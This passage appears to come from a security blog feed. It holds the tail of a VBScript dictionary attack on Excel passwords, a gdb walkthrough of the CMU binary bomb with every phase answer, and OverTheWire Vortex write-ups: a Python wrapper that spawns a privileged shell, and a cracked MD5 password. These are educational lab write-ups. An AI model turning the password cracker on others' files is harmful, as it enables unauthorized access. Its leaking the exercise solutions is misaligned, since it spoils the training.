WScript.Echo "[+] Found password for modifying: " & currLine
else
WScript.Echo "[+] Found password for opening: " & currLine
end if
end If
Wend
if not bFound then
if WScript.Arguments.Count = 3 then
WScript.Echo "[-] Not found password for modifying."
else
WScript.Echo "[-] Not found password for opening."
end if
end if
objExcel.Workbooks.Close
objFile.close
</open></dictionary></excel></dictionary></excel></words></test></pre>
<div>
An example of how to use it on a test document with these 2 passwords set:</div>
1. Find password to open:<br />
<pre class="brush:bash;">>cscript excel-pw-attack.vbs test.xls words_en.txt
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
Brute-forcing excel file: C:\...\test.xls
Using dictionary file: words_en.txt
[+] Found password for opening: rock
</pre>
2. Find password to modify:
<br />
<pre class="brush:bash;">>cscript excel-pw-attack.vbs test.xls words_en.txt rock
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
Brute-forcing excel file: C:\...\test.xls
Using dictionary file: words_en.txt
Using open password rock to get the write password
[+] Found password for modifying: paper
</pre>
<b><br /></b>
<br />
<div>
<b><span style="font-size: large;">References</span></b><br />
<ol></ol>
[1] <a href="http://www.oraxcel.com/projects/encoffice/help/How_safe_is_Excel_encryption.html">How safe is Excel encryption?</a><br />
[2] <a href="http://security.stackexchange.com/questions/17702/excel-2007-encryption-strength">Excel 2007 Encryption Strength</a><br />
[3] <a href="http://contest-2010.korelogic.com/rules.html">KoreLogic custom password rules for John</a><br />
[4] <a href="http://code.google.com/p/pt-tools/source/browse/#hg%2Fexcel-pw">excel-pw-crack.vbs</a></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5110749938849380105.post-27577811607926194962013-02-06T22:00:00.000+02:002013-02-07T00:15:50.192+02:00Defusing a (binary) bomb<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA92if7fDajkGK9x_584elmcx0jePhnMxfB7ZY9BB3HhUXaa-xXXNEWKxsS0Qa0582sRCGqpym_CAhwmEi9hta1ejv2tssil6BgFQKL6OSHCr-WMuKTPf-2T5SlnXF_wYY02lYn8qB6fU/s1600/bomb.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA92if7fDajkGK9x_584elmcx0jePhnMxfB7ZY9BB3HhUXaa-xXXNEWKxsS0Qa0582sRCGqpym_CAhwmEi9hta1ejv2tssil6BgFQKL6OSHCr-WMuKTPf-2T5SlnXF_wYY02lYn8qB6fU/s200/bomb.jpg" width="200" /></a></div>
<a href="http://opensecuritytraining.info/IntroX86.html">This</a> very good x86 assembly training has a nice final exercise which is a job to defuse a <i><a href="http://csapp.cs.cmu.edu/public/1e/bomb.tar">binary bomb</a></i> - an executable, without source code, with more phases, each one needing a password.<br />
I understand that there are many variants of this bomb, so my answer won't fit every bomb, but anyway it's a spoiler, <i>be aware</i>!<br />
Each level introduces also a programming construction (simple string manipulations, array, functions, cases, linked lists, trees...) so it's very interesting to actually do them and understand them.<br />
The long version of the solutions is at <a href="http://code.google.com/p/binary-bomb/">this project</a>. The short version below. <br />
I've created a file with commands for easy debugging, and started the bomb like this:<br />
<br />
<pre class="brush:bash;">$ gdb -q -x commands bomb
(gdb) run bomb-answers.txt</pre>
<div>
<br /></div>
<span style="font-family: Arial, Helvetica, sans-serif; font-size: large;">Phase 1</span><br />
Here there's a simple string comparison in place<br />
The two strings are compared:<br />
- first one is our input string for the first phase:<br />
<pre class="brush:bash;">(gdb) x /x $ebp+0x8
0xbffff440: 0x0804b680
(gdb) x /s 0x0804b680
0x804b680 &lt;input_strings>: "test"
</pre>
- and second one is the password for phase_1:<br />
<pre class="brush:bash;">(gdb) x/s 0x80497c0
0x80497c0: "Public speaking is very easy."
</pre>
<br />
<span style="font-family: Arial, Helvetica, sans-serif; font-size: large;">Phase 2</span><br />
Now 6 numbers are read from into an array, and an algorithm is applied as follows: <br />
<pre class="brush:cpp;">v[0] = 1
v[i] = (i+i) * v[i-1]
</pre>
So we find the solution of phase 2:<br />
1 2 6 24 120 720<br />
<span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"><br /></span><span style="font-family: Arial, Helvetica, sans-serif; font-size: large;">Phase 3</span><br />
This expects as input a number, a character and another number:<br />
<pre class="brush:bash;"> 0x08048bb1 &lt;+25>: push 0x80497de --> the format string for sscanf, "%d %c %d"
0x08048bb6 &lt;+30>: push edx
0x08048bb7 &lt;+31>: call 0x8048860 &lt;sscanf@plt>
</pre>
<span style="font-family: Arial, Helvetica, sans-serif;">The rest of the disassembled instructions are a case structure, which checks the letter and the second number based on the first value</span><br />
<span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"><br /></span><span style="font-family: Arial, Helvetica, sans-serif; font-size: large;">Phase 4</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">This phase is more interesting. It introduces a recursive function, which in the end turns out to be a much known one. A-Ha! </span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">Func4 is as follows:</span> <br />
<pre class="brush:cpp;">func4(x):
if x &lt;= 1 :
return 1;
else :
y = func4(x-1);
z = func4(x-2);
return y + z;
</pre>
<span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: x-small;"><br /></span></span><span style="font-family: Arial, Helvetica, sans-serif; font-size: large;">Phase 5</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">In this phase, the input password string is parsed character by character, and each parsed character gives an index into an input string. This way, final password has to be constructed. </span><br />
<br />
<span style="font-family: Arial, Helvetica, sans-serif;">We have to form the password '</span><span style="font-family: 'Courier New', Courier, monospace;">giants</span><span style="font-family: Arial, Helvetica, sans-serif;">' from the source string "</span><span style="font-family: 'Courier New', Courier, monospace;">isrveawhobpnutfg</span><span style="font-family: Arial, Helvetica, sans-serif;">".</span><br />
<div style="font-family: Arial, Helvetica, sans-serif;">
phase_5 function should be something like:</div>
<pre class="brush:cpp;">phase_5(s) {
src = "isrveawhobpnutfg";
dest = "12345";
for (i=0; i&lt;=5; ++i) {
idx = s[i] && 0xf; // cuts the most significant hex digit
dest[i] = src[idx];
}
}
</pre>
<div style="font-family: Arial, Helvetica, sans-serif;">
<br /></div>
<span style="font-family: Arial, Helvetica, sans-serif; font-size: large;">Phase 6</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">This was the most difficult to figure out from the assembly code, as it's split into more stages, and involves linked lists structures. Complete details are in the link from beginning. </span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">6 numbers are read. There is a predefined linked list also. Another important variable used is an array containing addresses of list elements. </span><br />
<span class="Apple-tab-span" style="font-family: Arial, Helvetica, sans-serif; white-space: pre;"></span><span style="font-family: Arial, Helvetica, sans-serif;">- stage1: check that all 6 numbers read are between [1,..,6] and all different</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><span class="Apple-tab-span" style="white-space: pre;"></span>- stage2: builds <i><b>and arranges</b></i> a second array with pointers to list elements</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><span class="Apple-tab-span" style="white-space: pre;"></span>- stage3: fixes the links between elements from the input list to match the array constructed in stage2</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><span class="Apple-tab-span" style="white-space: pre;"></span>- stage4: checks that the elements of the linked list are in reverse sorted order. </span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><span style="font-family: Arial, Helvetica, sans-serif;">The second stage is the most important: </span><span style="font-family: Arial, Helvetica, sans-serif;">we have to arrange the values of the list elements, </span><span style="font-family: Arial, Helvetica, sans-serif;">so that we can pass stage 4 check (should be in reverse order).</span><span class="Apple-tab-span" style="font-family: Arial, Helvetica, sans-serif; white-space: pre;"> </span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">Current order : </span><br />
<pre class="brush:cpp;"><span style="font-family: Arial, Helvetica, sans-serif;">func4(x):
(gdb) printf "%08x %08x %08x %08x %08x %08x \n", *0x0804b26c, *0x0804b260, *0x0804b254, *0x0804b248, *0x0804b23c, *0x0804b230
000000fd 000002d5 0000012d 000003e5 000000d4 000001b0
</span></pre>
<span style="font-family: Arial, Helvetica, sans-serif;"></span><span style="font-family: Arial, Helvetica, sans-serif;">The pseudo-code for this step could be something like:</span> <br />
<pre class="brush:cpp;"> // 2nd stage
i = 0
ecx = v[0]
eax = v2
y = v2
while i&lt;=5 :
elem = list_head
elem = head
j = 1
edx = i
if ( j &lt; v[i] ):
do {
elem = elem.next
j ++
}while (j &lt; v[i])
v2[i] = elem
i++
</pre>
<span style="font-family: Arial, Helvetica, sans-serif;">This stage builds a list of pointers to elements, which is used in stage 3 and 4.</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">Using the previously deduced agorithm, the input numbers (0<n font="" nbsp=""></n></span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">which mean how much we move an element, to have them in reverse order, should be:</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">pos 1: 3 (head->next->next->next which is the biggest num)</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">pos 2: 1 (head->next, which is the second biggest )</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">. . . and so on.</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><span style="font-family: Arial, Helvetica, sans-serif;">Because of the advancing algorithm, we add 1 to the previous, and get the solution: 4 2 6 3 1 5</span><br />
<div>
<span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"><br /></span><span style="font-family: Arial, Helvetica, sans-serif; font-size: large;">Secret Phase</span> </div>
In the <span style="font-family: "Courier New", Courier, monospace;">phase_difused </span>function, we have another function called <span style="font-family: "Courier New", Courier, monospace;">secret_phase</span>, activated only after first stages are difused: <br />
<pre class="brush:bash;">0x08049533 &lt;+7>: cmp DWORD PTR ds:0x804b480,0x6
0x0804953a &lt;+14>: jne 0x804959f &lt;phase_defused+115>
</pre>
<br />
The passphrase from phase 4 is parsed again, now looking for a string. As we see below, we can get that string and advance:<br />
<pre class="brush:bash;">0x08049544 <+24>: push 0x8049d03 --> "%d %s"
0x08049549 <+29>: push 0x804b770 --> "9" this is the input from phase_4
0x0804954e <+34>: call 0x8048860 <sscanf@plt>
0x08049553 <+39>: add esp,0x10
0x08049556 <+42>: cmp eax,0x2
0x08049559 <+45>: jne 0x8049592 <phase_defused+102>
0x0804955b <+47>: add esp,0xfffffff8
0x0804955e <+50>: push 0x8049d09 --> "austinpowers"
0x08049563 <+55>: push ebx
0x08049564 <+56>: call 0x8049030 <strings_not_equal>
</pre>
<br />
We add the password "austinpowers" and get the following 2 messages printed: <br />
<span style="font-family: "Courier New", Courier, monospace;">Curses, you've found the secret phase! </span><br />
<span style="font-family: "Courier New", Courier, monospace;">But finding it and solving it are quite different... </span> <br />
The secret_phase function calls another function, fun7 (very fun:) with an address and our input as a second parameter. <br />
<br />
After digging int othe disassebly, the last fun7 is something like this: <br />
<pre class="brush:cpp;">int fun7(int *adr, int x) {
if(adr == NULL) {
ret = -1; // 0xffffffff
goto exit;
}
if (x >= *adr) {
if (x == *adr) {
ret = 0
} else {
ret = fun7(*(adr+8), x)
ret *= 2;
ret ++;
}
} else {
ret = fun7(*(adr+4), x)
ret *= 2
}
exit:
return ret;
}
</pre>
Initial address passed to the function is 0x804b320. At this address there is a tree with 4 levels, as below. We navigate to the left or right branch depending on the input value. If input x is equal to value in branch, we return 0.<br />
0x24<br />
0x8 0x32 <br />
0x6 0x16 0x2d 0x6b <br />
................................. 0x3e9<br />
We want fun7() to return 7. <br />
<br />
7 = 2*3+1 = 2*(2*1+1)+1. <br />
According to the tree and deduced algorothm, we have:<br />
f(0x24) = 0 <br />
f(0x32) = 2*f(0x24)+1 = 1 <br />
f(0x6b) = 2*f(0x32)+1 = 3 <br />
f(0x3e9) = 2*f(0x6b)+1 = 7 <br />
<br />
0x3e9 is 1001 decimal, and is accepted by the first check (<span style="font-family: "Courier New", Courier, monospace;">param-1 <= 1000</span>).<br />
<br />
<span style="font-size: large;">End</span><br />
<span style="font-size: large;"></span><strong># ./bomb bomb-answers.txt </strong><br />
<br />
<span style="font-family: "Courier New", Courier, monospace;">Welcome to my fiendish little bomb. You have 6 phases with which to blow yourself up. Have a nice day! </span><br />
<span style="font-family: "Courier New", Courier, monospace;">Phase 1 defused. How about the next one? </span><br />
<span style="font-family: "Courier New", Courier, monospace;">That's number 2. Keep going! </span><br />
<span style="font-family: "Courier New", Courier, monospace;">Halfway there! </span><br />
<span style="font-family: "Courier New", Courier, monospace;">So you got that one. Try this one. </span><br />
<span style="font-family: "Courier New", Courier, monospace;">Good work! On to the next... </span><br />
<span style="font-family: "Courier New", Courier, monospace;">Curses, you've found the secret phase! </span><br />
<span style="font-family: "Courier New", Courier, monospace;">But finding it and solving it are quite different... </span><br />
<span style="font-family: "Courier New", Courier, monospace;">Wow! You've defused the secret stage! </span><br />
<span style="font-family: "Courier New", Courier, monospace;">Congratulations! You've defused the bomb! </span><br />
<em>Thanks to the guys at </em><a href="http://opensecuritytraining.info/"><em>Open Security Trainings</em></a><em> for the interesting materials there!</em>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD2ZpB5uBx1eG7g8bwZH2KljHiKeaBOz6XnXjiGjYG0jEII6SOENKcNuF_H1-aMKfmUq4DdS9QY7E4S4hncslekF56Xaz8DptQWyXgoR6y1moumdsigzfpbCPeJHUGXe3qx8jlWrto34w/s1600/sticker,375x360.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="191" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD2ZpB5uBx1eG7g8bwZH2KljHiKeaBOz6XnXjiGjYG0jEII6SOENKcNuF_H1-aMKfmUq4DdS9QY7E4S4hncslekF56Xaz8DptQWyXgoR6y1moumdsigzfpbCPeJHUGXe3qx8jlWrto34w/s200/sticker,375x360.png" width="200" /></a></div>
<br />Unknownnoreply@blogger.com21tag:blogger.com,1999:blog-5110749938849380105.post-7572004024208805882012-09-20T20:55:00.002+03:002012-09-20T20:55:36.703+03:00OverTheWire Vortex Level 6For <a href="http://www.overthewire.org/wargames/vortex/vortex6.shtml">this level</a>, just the binary is available, not the source code. First, we'll download it and study it locally with gdb.<br />
<pre class="brush:bash;">(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048446 <+0>: push ebp
0x08048447 <+1>: mov ebp,esp
0x08048449 <+3>: and esp,0xfffffff0
0x0804844c <+6>: sub esp,0x10
0x0804844f <+9>: mov eax,DWORD PTR [ebp+0x10]
0x08048452 <+12>: mov eax,DWORD PTR [eax]
0x08048454 <+14>: test eax,eax
0x08048456 <+16>: je 0x8048465 <main>
0x08048458 <+18>: mov eax,DWORD PTR [ebp+0xc]
0x0804845b <+21>: mov eax,DWORD PTR [eax]
0x0804845d <+23>: mov DWORD PTR [esp],eax
0x08048460 <+26>: call 0x8048424 <restart>
0x08048465 <+31>: mov eax,DWORD PTR [ebp+0x10]
0x08048468 <+34>: add eax,0xc
0x0804846b <+37>: mov eax,DWORD PTR [eax]
0x0804846d <+39>: mov DWORD PTR [esp],eax
0x08048470 <+42>: call 0x8048354 <printf@plt>
0x08048475 <+47>: mov DWORD PTR [esp],0x7325
0x0804847c <+54>: call 0x8048334 <_exit@plt>
End of assembler dump.
(gdb) disassemble restart
Dump of assembler code for function restart:
0x08048424 <+0>: push ebp
0x08048425 <+1>: mov ebp,esp
0x08048427 <+3>: sub esp,0x18
0x0804842a <+6>: mov DWORD PTR [esp+0x8],0x0
0x08048432 <+14>: mov eax,DWORD PTR [ebp+0x8]
0x08048435 <+17>: mov DWORD PTR [esp+0x4],eax
0x08048439 <+21>: mov eax,DWORD PTR [ebp+0x8]
0x0804843c <+24>: mov DWORD PTR [esp],eax
0x0804843f <+27>: call 0x8048344 @lt;execlp@plt>
0x08048444 <+32>: leave
0x08048445 <+33>: ret
End of assembler dump.
(gdb)
</main></pre>
After the function prologue and <a href="http://stackoverflow.com/questions/4175281/what-does-it-mean-to-align-the-stack">aligning stack pointer to 4-byte boundary</a>, 16 bytes are subtracted from ESP to make room for local variables. Throughout the code of main function, there are references to 2 locations we need to understand: (<i>ebp+0x10</i>) and (<i>ebp+0x0c</i>). This article explains basics about <a href="http://en.wikibooks.org/wiki/X86_Disassembly/Functions_and_Stack_Frames">stack frames</a>, and the next one details also the <a href="http://www.win.tue.nl/~aeb/linux/hh/stack-layout.html">stack layout</a>. The stack layout <i>before calling the main function</i> looks like this:<br />
<pre class="brush:bash;">: :
| | [ebp + 16] (env - address of env array)
| | [ebp + 12] (argv - address of argv array)
| | [ebp + 8] (argc - number of arguments passed to main)
| | [ebp + 4] (return address)
| | [ebp] (old ebp value)
| | [ebp - 4] (1st local variable)
: :
: :
</pre>
<br />
We can quickly verify this with the following wrapper program, that runs a target program with different arguments. <a href="http://stackoverflow.com/questions/2114163/reading-a-register-value-into-a-c-variable">This thread</a> shows a way to read registers (<i>ebp</i> in our case) with inline assembly from C code compiled with GCC.<br />
<pre class="brush:cpp;">#include <stdio .h>
int main() {
register int ebp asm("ebp");
char **env = *(char***)(ebp + 16);
char **argv = *(char ***)(ebp + 12);
int argc = *(int*)(ebp + 8);
printf("[EBP + 16] - First element of env[] array: %s\n", env[0]);
printf("[EBP + 12] - First element of argv[] array: %s\n", argv[0]);
printf("[EBP + 8] - Number of arguments (argc): %d\n", argc);
}
</pre>
And the test wraper:
<br />
<pre class="brush:cpp;">#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char* argv[]) {
char* arg[] = {"ARG0", "ARG1", "ARG2", "ARG3", "ARG4", "ARG5", NULL};
char* env[] = {"ENV0", "ENV1", "ENV2", "ENV3", NULL};
execve("./layout",arg,env);
}
</pre>
So we have:
<br />
<pre class="brush:bash;"># gcc layout.c -o layout
# gcc wrap.c -o wrap
# ./wrap
[EBP + 16] - First element of env[] array: ENV0
[EBP + 12] - First element of argv[] array: ARG0
[EBP + 8] - Number of arguments (argc): 6
#
</pre>
Based on that, we see that the vortex6 binary checks the first environment variable, and if it's not NULL executes restart function with argv[0] as parameter. We see that<i> reconstruct()</i> function calls execlp, with first2 arguments the value from **(ebp+8), and the third one NULL. When calling <i>restart</i> function, the stack looks like this:<br />
<pre class="brush:bash;">: :
| | [ebp + 12] (2nd argument)
| | [ebp + 8] (1st argument)
| RA | [ebp + 4] (return address)
| FP | [ebp] (old ebp value)
| | [ebp - 4] (1st local variable)
</pre>
So wee see that at (ebp + 8) we have its first argument, which is in fact argv[0].
Basically the reconstructed function is:<br />
<pre class="brush:cpp;">void restart(char *s) {
execlp(s,s,NULL);
}
</pre>
After reconstructing the whole functionality, it's easy to exploit the binary using a simple python wrapper:<br />
<pre class="brush:python;">import subprocess
argv = ['/bin/sh']
p = subprocess.Popen(argv, executable = './vortex6.bin')
p.wait()
</pre>
And tada..
<br />
<pre class="brush:bash;">vortex6@melissa:~$ python /tmp/myl6.py
$ id
uid=5006(vortex6) gid=5006(vortex6) euid=5007(vortex7) groups=5007(vortex7),5006(vortex6)
$ cat /etc/vortex_pass/vortex7
*****
</pre>
<span class="Apple-style-span" style="font-size: large;">References</span>:<br />
<ol>
<li><a href="http://en.wikibooks.org/wiki/X86_Disassembly/Functions_and_Stack_Frames">x86 Disassembly/Functions and Stack Frames</a></li>
</ol>
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5110749938849380105.post-16592304066637707782012-09-18T21:48:00.002+03:002012-09-18T21:48:39.453+03:00OverTheWire Vortex Level 5<a href="http://www.overthewire.org/wargames/vortex/vortex5.shtml">This</a> level is a brute-force over a 5 chars MD5 hash. We get the hash from the source code - it is 155fb95d04287b757c996d77b5ea51f7, and with a quick search online, we get the corresponding plain text - <i>rlTf6</i>.<br />
There are lots of online services to <a href="http://www.stottmeister.com/blog/2009/04/14/how-to-crack-md5-passwords/">crack md5</a>, and there's also <a href="http://project-rainbowcrack.com/tutorial.htm">Project RainbowCrack</a> which uses the Time-Memory trade-off.<br />
After getting the plain text we can get to the shell:<br />
<pre class="brush:bash;">vortex5@melissa:/vortex$ ./vortex5
Password:
6:36
You got the right password, congrats!
$ cat /etc/vortex_pass/vortex6
*****
</pre>
Unknownnoreply@blogger.com0